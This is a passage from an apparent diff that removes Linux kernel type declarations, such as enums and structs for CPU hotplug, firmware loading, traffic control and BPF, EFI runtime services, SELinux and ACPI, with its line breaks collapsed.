CPUHP_AP_PERF_POWERPC_THREAD_IMC_ONLINE = 192, - CPUHP_AP_PERF_POWERPC_TRACE_IMC_ONLINE = 193, - CPUHP_AP_PERF_POWERPC_HV_24x7_ONLINE = 194, - CPUHP_AP_PERF_POWERPC_HV_GPCI_ONLINE = 195, - CPUHP_AP_PERF_CSKY_ONLINE = 196, - CPUHP_AP_WATCHDOG_ONLINE = 197, - CPUHP_AP_WORKQUEUE_ONLINE = 198, - CPUHP_AP_RANDOM_ONLINE = 199, - CPUHP_AP_RCUTREE_ONLINE = 200, - CPUHP_AP_BASE_CACHEINFO_ONLINE = 201, - CPUHP_AP_ONLINE_DYN = 202, - CPUHP_AP_ONLINE_DYN_END = 232, - CPUHP_AP_MM_DEMOTION_ONLINE = 233, - CPUHP_AP_X86_HPET_ONLINE = 234, - CPUHP_AP_X86_KVM_CLK_ONLINE = 235, - CPUHP_AP_ACTIVE = 236, - CPUHP_ONLINE = 237, -}; - -struct iova_magazine { - long unsigned int size; - long unsigned int pfns[127]; -}; - -struct iova_cpu_rcache { - spinlock_t lock; - struct iova_magazine *loaded; - struct iova_magazine *prev; -}; - -struct firmware_fallback_config { - unsigned int force_sysfs_fallback; - unsigned int ignore_sysfs_fallback; - int old_timeout; - int loading_timeout; -}; - -struct firmware { - size_t size; - const u8 *data; - void *priv; -}; - -typedef u64 async_cookie_t; - -typedef void (*async_func_t)(void *, async_cookie_t); - -struct async_domain { - struct list_head pending; - unsigned int registered: 1; -}; - -struct syscore_ops { - struct list_head node; - int (*suspend)(); - void (*resume)(); - void (*shutdown)(); -}; - -enum fw_opt { - FW_OPT_UEVENT = 1, - FW_OPT_NOWAIT = 2, - FW_OPT_USERHELPER = 4, - FW_OPT_NO_WARN = 8, - FW_OPT_NOCACHE = 16, - FW_OPT_NOFALLBACK_SYSFS = 32, - FW_OPT_FALLBACK_PLATFORM = 64, - FW_OPT_PARTIAL = 128, -}; - -enum fw_status { - FW_STATUS_UNKNOWN = 0, - FW_STATUS_LOADING = 1, - FW_STATUS_DONE = 2, - FW_STATUS_ABORTED = 3, -}; - -struct fw_state { - struct completion completion; - enum fw_status status; -}; - -struct firmware_cache; - -struct fw_priv { - struct kref ref; - struct list_head list; - struct firmware_cache *fwc; - struct fw_state fw_st; - void *data; - size_t size; - size_t allocated_size; - size_t offset; - u32 opt_flags; - bool is_paged_buf; - struct page **pages; - int nr_pages; - int page_array_size; - bool need_uevent; - struct list_head pending_list; - const char *fw_name; -}; - -struct firmware_cache { - spinlock_t lock; - struct list_head head; - int state; - spinlock_t name_lock; - struct list_head fw_names; - struct delayed_work work; - struct notifier_block pm_notify; -}; - -struct fw_cache_entry { - struct list_head list; - const char *name; -}; - -struct fw_name_devm { - long unsigned int magic; - const char *name; -}; - -struct firmware_work { - struct work_struct work; - struct module *module; - const char *name; - struct device *device; - void *context; - void (*cont)(const struct firmware *, void *); - u32 opt_flags; -}; - -enum rc_proto { - RC_PROTO_UNKNOWN = 0, - RC_PROTO_OTHER = 1, - RC_PROTO_RC5 = 2, - RC_PROTO_RC5X_20 = 3, - RC_PROTO_RC5_SZ = 4, - RC_PROTO_JVC = 5, - RC_PROTO_SONY12 = 6, - RC_PROTO_SONY15 = 7, - RC_PROTO_SONY20 = 8, - RC_PROTO_NEC = 9, - RC_PROTO_NECX = 10, - RC_PROTO_NEC32 = 11, - RC_PROTO_SANYO = 12, - RC_PROTO_MCIR2_KBD = 13, - RC_PROTO_MCIR2_MSE = 14, - RC_PROTO_RC6_0 = 15, - RC_PROTO_RC6_6A_20 = 16, - RC_PROTO_RC6_6A_24 = 17, - RC_PROTO_RC6_6A_32 = 18, - RC_PROTO_RC6_MCE = 19, - RC_PROTO_SHARP = 20, - RC_PROTO_XMP = 21, - RC_PROTO_CEC = 22, - RC_PROTO_IMON = 23, - RC_PROTO_RCMM12 = 24, - RC_PROTO_RCMM24 = 25, - RC_PROTO_RCMM32 = 26, - RC_PROTO_XBOX_DVD = 27, - RC_PROTO_MAX = 27, -}; - -struct rc_map_table { - u64 scancode; - u32 keycode; -}; - -struct rc_map { - struct rc_map_table *scan; - unsigned int size; - unsigned int len; - unsigned int alloc; - enum rc_proto rc_proto; - const char *name; - spinlock_t lock; -}; - -struct rc_map_list { - struct list_head list; - struct rc_map map; -}; - -struct net_device_devres { - struct net_device *ndev; -}; - -enum tca_id { - TCA_ID_UNSPEC = 0, - TCA_ID_POLICE = 1, - TCA_ID_GACT = 5, - TCA_ID_IPT = 6, - TCA_ID_PEDIT = 7, - TCA_ID_MIRRED = 8, - TCA_ID_NAT = 9, - TCA_ID_XT = 10, - TCA_ID_SKBEDIT = 11, - TCA_ID_VLAN = 12, - TCA_ID_BPF = 13, - TCA_ID_CONNMARK = 14, - TCA_ID_SKBMOD = 15, - TCA_ID_CSUM = 16, - TCA_ID_TUNNEL_KEY = 17, - TCA_ID_SIMP = 22, - TCA_ID_IFE = 25, - TCA_ID_SAMPLE = 26, - TCA_ID_CTINFO = 27, - TCA_ID_MPLS = 28, - TCA_ID_CT = 29, - TCA_ID_GATE = 30, - __TCA_ID_MAX = 255, -}; - -struct tcf_t { - __u64 install; - __u64 lastuse; - __u64 expires; - __u64 firstuse; -}; - -enum { - TCA_BPF_UNSPEC = 0, - TCA_BPF_ACT = 1, - TCA_BPF_POLICE = 2, - TCA_BPF_CLASSID = 3, - TCA_BPF_OPS_LEN = 4, - TCA_BPF_OPS = 5, - TCA_BPF_FD = 6, - TCA_BPF_NAME = 7, - TCA_BPF_FLAGS = 8, - TCA_BPF_FLAGS_GEN = 9, - TCA_BPF_TAG = 10, - TCA_BPF_ID = 11, - __TCA_BPF_MAX = 12, -}; - -enum { - TCA_UNSPEC = 0, - TCA_KIND = 1, - TCA_OPTIONS = 2, - TCA_STATS = 3, - TCA_XSTATS = 4, - TCA_RATE = 5, - TCA_FCNT = 6, - TCA_STATS2 = 7, - TCA_STAB = 8, - TCA_PAD = 9, - TCA_DUMP_INVISIBLE = 10, - TCA_CHAIN = 11, - TCA_HW_OFFLOAD = 12, - TCA_INGRESS_BLOCK = 13, - TCA_EGRESS_BLOCK = 14, - TCA_DUMP_FLAGS = 15, - __TCA_MAX = 16, -}; - -enum { - NLA_UNSPEC = 0, - NLA_U8 = 1, - NLA_U16 = 2, - NLA_U32 = 3, - NLA_U64 = 4, - NLA_STRING = 5, - NLA_FLAG = 6, - NLA_MSECS = 7, - NLA_NESTED = 8, - NLA_NESTED_ARRAY = 9, - NLA_NUL_STRING = 10, - NLA_BINARY = 11, - NLA_S8 = 12, - NLA_S16 = 13, - NLA_S32 = 14, - NLA_S64 = 15, - NLA_BITFIELD32 = 16, - NLA_REJECT = 17, - NLA_BE16 = 18, - NLA_BE32 = 19, - __NLA_TYPE_MAX = 20, -}; - -enum netlink_validation { - NL_VALIDATE_LIBERAL = 0, - NL_VALIDATE_TRAILING = 1, - NL_VALIDATE_MAXTYPE = 2, - NL_VALIDATE_UNSPEC = 4, - NL_VALIDATE_STRICT_ATTRS = 8, - NL_VALIDATE_NESTED = 16, -}; - -struct flow_cls_common_offload { - u32 chain_index; - __be16 protocol; - u32 prio; - struct netlink_ext_ack *extack; -}; - -struct qdisc_skb_cb { - struct { - unsigned int pkt_len; - u16 slave_dev_queue_mapping; - u16 tc_classid; - }; - unsigned char data[20]; -}; - -struct bpf_skb_data_end { - struct qdisc_skb_cb qdisc_cb; - void *data_meta; - void *data_end; -}; - -struct tcf_idrinfo { - struct mutex lock; - struct idr action_idr; - struct net *net; -}; - -struct tc_action_ops; - -struct tc_cookie; - -struct tc_action { - const struct tc_action_ops *ops; - __u32 type; - struct tcf_idrinfo *idrinfo; - u32 tcfa_index; - refcount_t tcfa_refcnt; - atomic_t tcfa_bindcnt; - int tcfa_action; - struct tcf_t tcfa_tm; - long: 64; - struct gnet_stats_basic_sync tcfa_bstats; - struct gnet_stats_basic_sync tcfa_bstats_hw; - struct gnet_stats_queue tcfa_qstats; - struct net_rate_estimator *tcfa_rate_est; - spinlock_t tcfa_lock; - struct gnet_stats_basic_sync *cpu_bstats; - struct gnet_stats_basic_sync *cpu_bstats_hw; - struct gnet_stats_queue *cpu_qstats; - struct tc_cookie *act_cookie; - struct tcf_chain *goto_chain; - u32 tcfa_flags; - u8 hw_stats; - u8 used_hw_stats; - bool used_hw_stats_valid; - u32 in_hw_count; - long: 64; -}; - -typedef void (*tc_action_priv_destructor)(void *); - -struct psample_group; - -struct tc_action_ops { - struct list_head head; - char kind[16]; - enum tca_id id; - unsigned int net_id; - size_t size; - struct module *owner; - int (*act)(struct sk_buff *, const struct tc_action *, struct tcf_result *); - int (*dump)(struct sk_buff *, struct tc_action *, int, int); - void (*cleanup)(struct tc_action *); - int (*lookup)(struct net *, struct tc_action **, u32); - int (*init)(struct net *, struct nlattr *, struct nlattr *, struct tc_action **, struct tcf_proto *, u32, struct netlink_ext_ack *); - int (*walk)(struct net *, struct sk_buff *, struct netlink_callback *, int, const struct tc_action_ops *, struct netlink_ext_ack *); - void (*stats_update)(struct tc_action *, u64, u64, u64, u64, bool); - size_t (*get_fill_size)(const struct tc_action *); - struct net_device * (*get_dev)(const struct tc_action *, tc_action_priv_destructor *); - struct psample_group * (*get_psample_group)(const struct tc_action *, tc_action_priv_destructor *); - int (*offload_act_setup)(struct tc_action *, void *, u32 *, bool, struct netlink_ext_ack *); -}; - -struct tc_cookie { - u8 *data; - u32 len; - struct callback_head rcu; -}; - -struct tcf_exts { - __u32 type; - int nr_actions; - struct tc_action **actions; - struct net *net; - netns_tracker ns_tracker; - int action; - int police; -}; - -enum tc_clsbpf_command { - TC_CLSBPF_OFFLOAD = 0, - TC_CLSBPF_STATS = 1, -}; - -struct tc_cls_bpf_offload { - struct flow_cls_common_offload common; - enum tc_clsbpf_command command; - struct tcf_exts *exts; - struct bpf_prog *prog; - struct bpf_prog *oldprog; - const char *name; - bool exts_integrated; -}; - -struct cls_bpf_head { - struct list_head plist; - struct idr handle_idr; - struct callback_head rcu; -}; - -struct cls_bpf_prog { - struct bpf_prog *filter; - struct list_head link; - struct tcf_result res; - bool exts_integrated; - u32 gen_flags; - unsigned int in_hw_count; - struct tcf_exts exts; - u32 handle; - u16 bpf_num_ops; - struct sock_filter *bpf_ops; - const char *bpf_name; - struct tcf_proto *tp; - struct rcu_work rwork; -}; - -struct icmpv6_echo { - __be16 identifier; - __be16 sequence; -}; - -struct icmpv6_nd_advt { - __u32 reserved: 5; - __u32 override: 1; - __u32 solicited: 1; - __u32 router: 1; - __u32 reserved2: 24; -}; - -struct icmpv6_nd_ra { - __u8 hop_limit; - __u8 reserved: 3; - __u8 router_pref: 2; - __u8 home_agent: 1; - __u8 other: 1; - __u8 managed: 1; - __be16 rt_lifetime; -}; - -struct icmp6hdr { - __u8 icmp6_type; - __u8 icmp6_code; - __sum16 icmp6_cksum; - union { - __be32 un_data32[1]; - __be16 un_data16[2]; - __u8 un_data8[4]; - struct icmpv6_echo u_echo; - struct icmpv6_nd_advt u_nd_advt; - struct icmpv6_nd_ra u_nd_ra; - } icmp6_dataun; -}; - -struct mld_msg { - struct icmp6hdr mld_hdr; - struct in6_addr mld_mca; -}; - -struct resource_entry { - struct list_head node; - struct resource *res; - resource_size_t offset; - struct resource __res; -}; - -struct pci_root_res { - struct list_head list; - struct resource res; -}; - -struct pci_root_info { - struct list_head list; - char name[12]; - struct list_head resources; - struct resource busn; - int node; - int link; -}; - -enum bug_trap_type { - BUG_TRAP_TYPE_NONE = 0, - BUG_TRAP_TYPE_WARN = 1, - BUG_TRAP_TYPE_BUG = 2, -}; - -typedef __u64 Elf64_Off; - -struct elf64_hdr { - unsigned char e_ident[16]; - Elf64_Half e_type; - Elf64_Half e_machine; - Elf64_Word e_version; - Elf64_Addr e_entry; - Elf64_Off e_phoff; - Elf64_Off e_shoff; - Elf64_Word e_flags; - Elf64_Half e_ehsize; - Elf64_Half e_phentsize; - Elf64_Half e_phnum; - Elf64_Half e_shentsize; - Elf64_Half e_shnum; - Elf64_Half e_shstrndx; -}; - -typedef struct elf64_hdr Elf64_Ehdr; - -struct elf64_shdr { - Elf64_Word sh_name; - Elf64_Word sh_type; - Elf64_Xword sh_flags; - Elf64_Addr sh_addr; - Elf64_Off sh_offset; - Elf64_Xword sh_size; - Elf64_Word sh_link; - Elf64_Word sh_info; - Elf64_Xword sh_addralign; - Elf64_Xword sh_entsize; -}; - -typedef struct elf64_shdr Elf64_Shdr; - -struct warn_args; - -struct ldt_struct { - struct desc_struct *entries; - unsigned int nr_entries; - int slot; -}; - -typedef struct { - __u8 b[16]; -} guid_t; - -typedef long unsigned int efi_status_t; - -typedef u8 efi_bool_t; - -typedef u16 efi_char16_t; - -typedef guid_t efi_guid_t; - -typedef struct { - u64 signature; - u32 revision; - u32 headersize; - u32 crc32; - u32 reserved; -} efi_table_hdr_t; - -typedef struct { - u32 type; - u32 pad; - u64 phys_addr; - u64 virt_addr; - u64 num_pages; - u64 attribute; -} efi_memory_desc_t; - -typedef struct { - efi_guid_t guid; - u32 headersize; - u32 flags; - u32 imagesize; -} efi_capsule_header_t; - -typedef struct { - u16 year; - u8 month; - u8 day; - u8 hour; - u8 minute; - u8 second; - u8 pad1; - u32 nanosecond; - s16 timezone; - u8 daylight; - u8 pad2; -} efi_time_t; - -typedef struct { - u32 resolution; - u32 accuracy; - u8 sets_to_zero; -} efi_time_cap_t; - -typedef struct { - efi_table_hdr_t hdr; - u32 get_time; - u32 set_time; - u32 get_wakeup_time; - u32 set_wakeup_time; - u32 set_virtual_address_map; - u32 convert_pointer; - u32 get_variable; - u32 get_next_variable; - u32 set_variable; - u32 get_next_high_mono_count; - u32 reset_system; - u32 update_capsule; - u32 query_capsule_caps; - u32 query_variable_info; -} efi_runtime_services_32_t; - -typedef efi_status_t efi_get_time_t(efi_time_t *, efi_time_cap_t *); - -typedef efi_status_t efi_set_time_t(efi_time_t *); - -typedef efi_status_t efi_get_wakeup_time_t(efi_bool_t *, efi_bool_t *, efi_time_t *); - -typedef efi_status_t efi_set_wakeup_time_t(efi_bool_t, efi_time_t *); - -typedef efi_status_t efi_get_variable_t(efi_char16_t *, efi_guid_t *, u32 *, long unsigned int *, void *); - -typedef efi_status_t efi_get_next_variable_t(long unsigned int *, efi_char16_t *, efi_guid_t *); - -typedef efi_status_t efi_set_variable_t(efi_char16_t *, efi_guid_t *, u32, long unsigned int, void *); - -typedef efi_status_t efi_get_next_high_mono_count_t(u32 *); - -typedef void efi_reset_system_t(int, efi_status_t, long unsigned int, efi_char16_t *); - -typedef efi_status_t efi_query_variable_info_t(u32, u64 *, u64 *, u64 *); - -typedef efi_status_t efi_update_capsule_t(efi_capsule_header_t **, long unsigned int, long unsigned int); - -typedef efi_status_t efi_query_capsule_caps_t(efi_capsule_header_t **, long unsigned int, u64 *, int *); - -typedef union { - struct { - efi_table_hdr_t hdr; - efi_status_t (*get_time)(efi_time_t *, efi_time_cap_t *); - efi_status_t (*set_time)(efi_time_t *); - efi_status_t (*get_wakeup_time)(efi_bool_t *, efi_bool_t *, efi_time_t *); - efi_status_t (*set_wakeup_time)(efi_bool_t, efi_time_t *); - efi_status_t (*set_virtual_address_map)(long unsigned int, long unsigned int, u32, efi_memory_desc_t *); - void *convert_pointer; - efi_status_t (*get_variable)(efi_char16_t *, efi_guid_t *, u32 *, long unsigned int *, void *); - efi_status_t (*get_next_variable)(long unsigned int *, efi_char16_t *, efi_guid_t *); - efi_status_t (*set_variable)(efi_char16_t *, efi_guid_t *, u32, long unsigned int, void *); - efi_status_t (*get_next_high_mono_count)(u32 *); - void (*reset_system)(int, efi_status_t, long unsigned int, efi_char16_t *); - efi_status_t (*update_capsule)(efi_capsule_header_t **, long unsigned int, long unsigned int); - efi_status_t (*query_capsule_caps)(efi_capsule_header_t **, long unsigned int, u64 *, int *); - efi_status_t (*query_variable_info)(u32, u64 *, u64 *, u64 *); - }; - efi_runtime_services_32_t mixed_mode; -} efi_runtime_services_t; - -typedef struct { - efi_guid_t guid; - u64 table; -} efi_config_table_64_t; - -struct efi_memory_map_data { - phys_addr_t phys_map; - long unsigned int size; - long unsigned int desc_version; - long unsigned int desc_size; - long unsigned int flags; -}; - -struct efi_memory_map { - phys_addr_t phys_map; - void *map; - void *map_end; - int nr_map; - long unsigned int desc_version; - long unsigned int desc_size; - long unsigned int flags; -}; - -struct efi_mem_range { - struct range range; - u64 attribute; -}; - -struct efi { - const efi_runtime_services_t *runtime; - unsigned int runtime_version; - unsigned int runtime_supported_mask; - long unsigned int acpi; - long unsigned int acpi20; - long unsigned int smbios; - long unsigned int smbios3; - long unsigned int esrt; - long unsigned int tpm_log; - long unsigned int tpm_final_log; - long unsigned int mokvar_table; - long unsigned int coco_secret; - efi_get_time_t *get_time; - efi_set_time_t *set_time; - efi_get_wakeup_time_t *get_wakeup_time; - efi_set_wakeup_time_t *set_wakeup_time; - efi_get_variable_t *get_variable; - efi_get_next_variable_t *get_next_variable; - efi_set_variable_t *set_variable; - efi_set_variable_t *set_variable_nonblocking; - efi_query_variable_info_t *query_variable_info; - efi_query_variable_info_t *query_variable_info_nonblocking; - efi_update_capsule_t *update_capsule; - efi_query_capsule_caps_t *query_capsule_caps; - efi_get_next_high_mono_count_t *get_next_high_mono_count; - efi_reset_system_t *reset_system; - struct efi_memory_map memmap; - long unsigned int flags; -}; - -enum efi_rts_ids { - EFI_NONE = 0, - EFI_GET_TIME = 1, - EFI_SET_TIME = 2, - EFI_GET_WAKEUP_TIME = 3, - EFI_SET_WAKEUP_TIME = 4, - EFI_GET_VARIABLE = 5, - EFI_GET_NEXT_VARIABLE = 6, - EFI_SET_VARIABLE = 7, - EFI_QUERY_VARIABLE_INFO = 8, - EFI_GET_NEXT_HIGH_MONO_COUNT = 9, - EFI_RESET_SYSTEM = 10, - EFI_UPDATE_CAPSULE = 11, - EFI_QUERY_CAPSULE_CAPS = 12, -}; - -struct efi_runtime_work { - void *arg1; - void *arg2; - void *arg3; - void *arg4; - void *arg5; - efi_status_t status; - struct work_struct work; - enum efi_rts_ids efi_rts_id; - struct completion efi_rts_comp; -}; - -enum { - MEMREMAP_WB = 1, - MEMREMAP_WT = 2, - MEMREMAP_WC = 4, - MEMREMAP_ENC = 8, - MEMREMAP_DEC = 16, -}; - -enum e820_type { - E820_TYPE_RAM = 1, - E820_TYPE_RESERVED = 2, - E820_TYPE_ACPI = 3, - E820_TYPE_NVS = 4, - E820_TYPE_UNUSABLE = 5, - E820_TYPE_PMEM = 7, - E820_TYPE_PRAM = 12, - E820_TYPE_SOFT_RESERVED = 4026531839, - E820_TYPE_RESERVED_KERN = 128, -}; - -struct e820_entry { - u64 addr; - u64 size; - enum e820_type type; -} __attribute__((packed)); - -struct e820_table { - __u32 nr_entries; - struct e820_entry entries[320]; -}; - -enum { - TASKSTATS_CMD_UNSPEC = 0, - TASKSTATS_CMD_GET = 1, - TASKSTATS_CMD_NEW = 2, - __TASKSTATS_CMD_MAX = 3, -}; - -enum ucount_type { - UCOUNT_USER_NAMESPACES = 0, - UCOUNT_PID_NAMESPACES = 1, - UCOUNT_UTS_NAMESPACES = 2, - UCOUNT_IPC_NAMESPACES = 3, - UCOUNT_NET_NAMESPACES = 4, - UCOUNT_MNT_NAMESPACES = 5, - UCOUNT_CGROUP_NAMESPACES = 6, - UCOUNT_TIME_NAMESPACES = 7, - UCOUNT_INOTIFY_INSTANCES = 8, - UCOUNT_INOTIFY_WATCHES = 9, - UCOUNT_COUNTS = 10, -}; - -enum rlimit_type { - UCOUNT_RLIMIT_NPROC = 0, - UCOUNT_RLIMIT_MSGQUEUE = 1, - UCOUNT_RLIMIT_SIGPENDING = 2, - UCOUNT_RLIMIT_MEMLOCK = 3, - UCOUNT_RLIMIT_COUNTS = 4, -}; - -enum cpu_usage_stat { - CPUTIME_USER = 0, - CPUTIME_NICE = 1, - CPUTIME_SYSTEM = 2, - CPUTIME_SOFTIRQ = 3, - CPUTIME_IRQ = 4, - CPUTIME_IDLE = 5, - CPUTIME_IOWAIT = 6, - CPUTIME_STEAL = 7, - CPUTIME_GUEST = 8, - CPUTIME_GUEST_NICE = 9, - NR_STATS = 10, -}; - -enum cgroup_subsys_id { - cpuset_cgrp_id = 0, - cpu_cgrp_id = 1, - cpuacct_cgrp_id = 2, - io_cgrp_id = 3, - memory_cgrp_id = 4, - devices_cgrp_id = 5, - freezer_cgrp_id = 6, - net_cls_cgrp_id = 7, - perf_event_cgrp_id = 8, - hugetlb_cgrp_id = 9, - CGROUP_SUBSYS_COUNT = 10, -}; - -struct efi_setup_data { - u64 fw_vendor; - u64 __unused; - u64 tables; - u64 smbios; - u64 reserved[8]; -}; - -struct real_mode_header { - u32 text_start; - u32 ro_end; - u32 trampoline_start; - u32 trampoline_header; - u32 trampoline_start64; - u32 trampoline_pgd; - u32 wakeup_start; - u32 wakeup_header; - u32 machine_real_restart_asm; - u32 machine_real_restart_seg; -}; - -enum { - BTF_KIND_UNKN = 0, - BTF_KIND_INT = 1, - BTF_KIND_PTR = 2, - BTF_KIND_ARRAY = 3, - BTF_KIND_STRUCT = 4, - BTF_KIND_UNION = 5, - BTF_KIND_ENUM = 6, - BTF_KIND_FWD = 7, - BTF_KIND_TYPEDEF = 8, - BTF_KIND_VOLATILE = 9, - BTF_KIND_CONST = 10, - BTF_KIND_RESTRICT = 11, - BTF_KIND_FUNC = 12, - BTF_KIND_FUNC_PROTO = 13, - BTF_KIND_VAR = 14, - BTF_KIND_DATASEC = 15, - BTF_KIND_FLOAT = 16, - BTF_KIND_DECL_TAG = 17, - BTF_KIND_TYPE_TAG = 18, - BTF_KIND_ENUM64 = 19, - NR_BTF_KINDS = 20, - BTF_KIND_MAX = 19, -}; - -struct btf_member { - __u32 name_off; - __u32 type; - __u32 offset; -}; - -struct bpf_tramp_links { - struct bpf_tramp_link *links[38]; - int nr_links; -}; - -enum bpf_tramp_prog_type { - BPF_TRAMP_FENTRY = 0, - BPF_TRAMP_FEXIT = 1, - BPF_TRAMP_MODIFY_RETURN = 2, - BPF_TRAMP_MAX = 3, - BPF_TRAMP_REPLACE = 4, -}; - -struct bpf_struct_ops { - const struct bpf_verifier_ops *verifier_ops; - int (*init)(struct btf *); - int (*check_member)(const struct btf_type *, const struct btf_member *); - int (*init_member)(const struct btf_type *, const struct btf_member *, void *, const void *); - int (*reg)(void *); - void (*unreg)(void *); - const struct btf_type *type; - const struct btf_type *value_type; - const char *name; - struct btf_func_model func_models[64]; - u32 type_id; - u32 value_id; -}; - -struct bpf_dummy_ops_state { - int val; -}; - -struct bpf_dummy_ops { - int (*test_1)(struct bpf_dummy_ops_state *); - int (*test_2)(struct bpf_dummy_ops_state *, int, short unsigned int, char, long unsigned int); -}; - -enum bpf_struct_ops_state { - BPF_STRUCT_OPS_STATE_INIT = 0, - BPF_STRUCT_OPS_STATE_INUSE = 1, - BPF_STRUCT_OPS_STATE_TOBEFREE = 2, -}; - -struct bpf_struct_ops_value { - refcount_t refcnt; - enum bpf_struct_ops_state state; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - char data[0]; -}; - -struct bpf_struct_ops_map { - struct bpf_map map; - struct callback_head rcu; - const struct bpf_struct_ops *st_ops; - struct mutex lock; - struct bpf_link **links; - void *image; - struct bpf_struct_ops_value *uvalue; - struct bpf_struct_ops_value kvalue; -}; - -struct bpf_struct_ops_bpf_dummy_ops { - refcount_t refcnt; - enum bpf_struct_ops_state state; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - struct bpf_dummy_ops data; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; -}; - -struct bpf_struct_ops_tcp_congestion_ops { - refcount_t refcnt; - enum bpf_struct_ops_state state; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - struct tcp_congestion_ops data; -}; - -enum { - BPF_STRUCT_OPS_TYPE_bpf_dummy_ops = 0, - BPF_STRUCT_OPS_TYPE_tcp_congestion_ops = 1, - __NR_BPF_STRUCT_OPS_TYPE = 2, -}; - -struct ebitmap_node { - struct ebitmap_node *next; - long unsigned int maps[6]; - u32 startbit; -}; - -struct ebitmap { - struct ebitmap_node *node; - u32 highbit; -}; - -struct mls_level { - u32 sens; - struct ebitmap cat; -}; - -struct mls_range { - struct mls_level level[2]; -}; - -struct context { - u32 user; - u32 role; - u32 type; - u32 len; - struct mls_range range; - char *str; -}; - -struct sidtab_str_cache; - -struct sidtab_entry { - u32 sid; - u32 hash; - struct context context; - struct sidtab_str_cache *cache; - struct hlist_node list; -}; - -struct sidtab_str_cache { - struct callback_head rcu_member; - struct list_head lru_member; - struct sidtab_entry *parent; - u32 len; - char str[0]; -}; - -struct sidtab_node_inner; - -struct sidtab_node_leaf; - -union sidtab_entry_inner { - struct sidtab_node_inner *ptr_inner; - struct sidtab_node_leaf *ptr_leaf; -}; - -struct sidtab_node_inner { - union sidtab_entry_inner entries[512]; -}; - -struct sidtab_node_leaf { - struct sidtab_entry entries[39]; -}; - -struct sidtab_isid_entry { - int set; - struct sidtab_entry entry; -}; - -struct sidtab; - -struct sidtab_convert_params { - int (*func)(struct context *, struct context *, void *, gfp_t); - void *args; - struct sidtab *target; -}; - -struct sidtab { - union sidtab_entry_inner roots[4]; - u32 count; - struct sidtab_convert_params *convert; - bool frozen; - spinlock_t lock; - u32 cache_free_slots; - struct list_head cache_lru_list; - spinlock_t cache_lock; - struct sidtab_isid_entry isids[27]; - struct hlist_head context_to_sid[512]; -}; - -struct sockaddr_un { - __kernel_sa_family_t sun_family; - char sun_path[108]; -}; - -struct unix_address { - refcount_t refcnt; - int len; - struct sockaddr_un name[0]; -}; - -struct scm_stat { - atomic_t nr_fds; -}; - -struct unix_sock { - struct sock sk; - struct unix_address *addr; - struct path path; - struct mutex iolock; - struct mutex bindlock; - struct sock *peer; - struct list_head link; - atomic_long_t inflight; - spinlock_t lock; - long unsigned int gc_flags; - long: 64; - long: 64; - long: 64; - long: 64; - struct socket_wq peer_wq; - wait_queue_entry_t peer_wake; - struct scm_stat scm_stat; - struct sk_buff *oob_skb; - long: 64; -}; - -struct tcphdr { - __be16 source; - __be16 dest; - __be32 seq; - __be32 ack_seq; - __u16 res1: 4; - __u16 doff: 4; - __u16 fin: 1; - __u16 syn: 1; - __u16 rst: 1; - __u16 psh: 1; - __u16 ack: 1; - __u16 urg: 1; - __u16 ece: 1; - __u16 cwr: 1; - __be16 window; - __sum16 check; - __be16 urg_ptr; -}; - -struct dccp_hdr { - __be16 dccph_sport; - __be16 dccph_dport; - __u8 dccph_doff; - __u8 dccph_cscov: 4; - __u8 dccph_ccval: 4; - __sum16 dccph_checksum; - __u8 dccph_x: 1; - __u8 dccph_type: 4; - __u8 dccph_reserved: 3; - __u8 dccph_seq2; - __be16 dccph_seq; -}; - -struct sctphdr { - __be16 source; - __be16 dest; - __be32 vtag; - __le32 checksum; -}; - -struct lsm_network_audit { - int netif; - const struct sock *sk; - u16 family; - __be16 dport; - __be16 sport; - union { - struct { - __be32 daddr; - __be32 saddr; - } v4; - struct { - struct in6_addr daddr; - struct in6_addr saddr; - } v6; - } fam; -}; - -struct lsm_ioctlop_audit { - struct path path; - u16 cmd; -}; - -struct lsm_ibpkey_audit { - u64 subnet_prefix; - u16 pkey; -}; - -struct lsm_ibendport_audit { - const char *dev_name; - u8 port; -}; - -struct selinux_audit_data; - -struct common_audit_data { - char type; - union { - struct path path; - struct dentry *dentry; - struct inode *inode; - struct lsm_network_audit *net; - int cap; - int ipc_id; - struct task_struct *tsk; - struct { - key_serial_t key; - char *key_desc; - } key_struct; - char *kmod_name; - struct lsm_ioctlop_audit *op; - struct file *file; - struct lsm_ibpkey_audit *ibpkey; - struct lsm_ibendport_audit *ibendport; - int reason; - const char *anonclass; - } u; - union { - struct selinux_audit_data *selinux_audit_data; - }; -}; - -struct __large_struct { - long unsigned int buf[100]; -}; - -enum system_states { - SYSTEM_BOOTING = 0, - SYSTEM_SCHEDULING = 1, - SYSTEM_FREEING_INITMEM = 2, - SYSTEM_RUNNING = 3, - SYSTEM_HALT = 4, - SYSTEM_POWER_OFF = 5, - SYSTEM_RESTART = 6, - SYSTEM_SUSPEND = 7, -}; - -struct nvs_region { - __u64 phys_start; - __u64 size; - struct list_head node; -}; - -struct nvs_page { - long unsigned int phys_start; - unsigned int size; - void *kaddr; - void *data; - bool unmap; - struct list_head node; -}; - -struct acpi_device_properties { - const guid_t *guid; - union acpi_object *properties; - struct list_head list; - void **bufs; -}; - -typedef acpi_status (*acpi_walk_callback)(acpi_handle, u32, void *, void **); - -struct acpi_gpe_walk_info { - struct acpi_namespace_node *gpe_device; - struct acpi_gpe_block_info *gpe_block; - u16 count; - acpi_owner_id owner_id; - u8 execute_by_owner_id; -}; - -enum { - MATCH_MTR = 0, - MATCH_MEQ = 1, - MATCH_MLE = 2, - MATCH_MLT = 3, - MATCH_MGE = 4, - MATCH_MGT = 5, -}; - -struct acpi_name_info { - char name[4]; - u16 argument_list; - u8 expected_btypes; -} __attribute__((packed)); - -struct acpi_package_info { - u8 type; - u8 object_type1; - u8 count1; - u8 object_type2; - u8 count2; - u16 reserved; -} __attribute__((packed)); - -struct acpi_package_info2 { - u8 type; - u8 count; - u8 object_type[4]; - u8 reserved; -}; - -struct acpi_package_info3 { - u8 type; - u8 count; - u8 object_type[2]; - u8 tail_object_type; - u16 reserved; -} __attribute__((packed)); - -struct acpi_package_info4 { - u8 type; - u8 object_type1; - u8 count1; - u8 sub_object_types; - u8 pkg_count; - u16 reserved; -} __attribute__((packed)); - -union acpi_predefined_info { - struct acpi_name_info info; - struct acpi_package_info ret_info; - struct acpi_package_info2 ret_info2; - struct acpi_package_info3 ret_info3; - struct 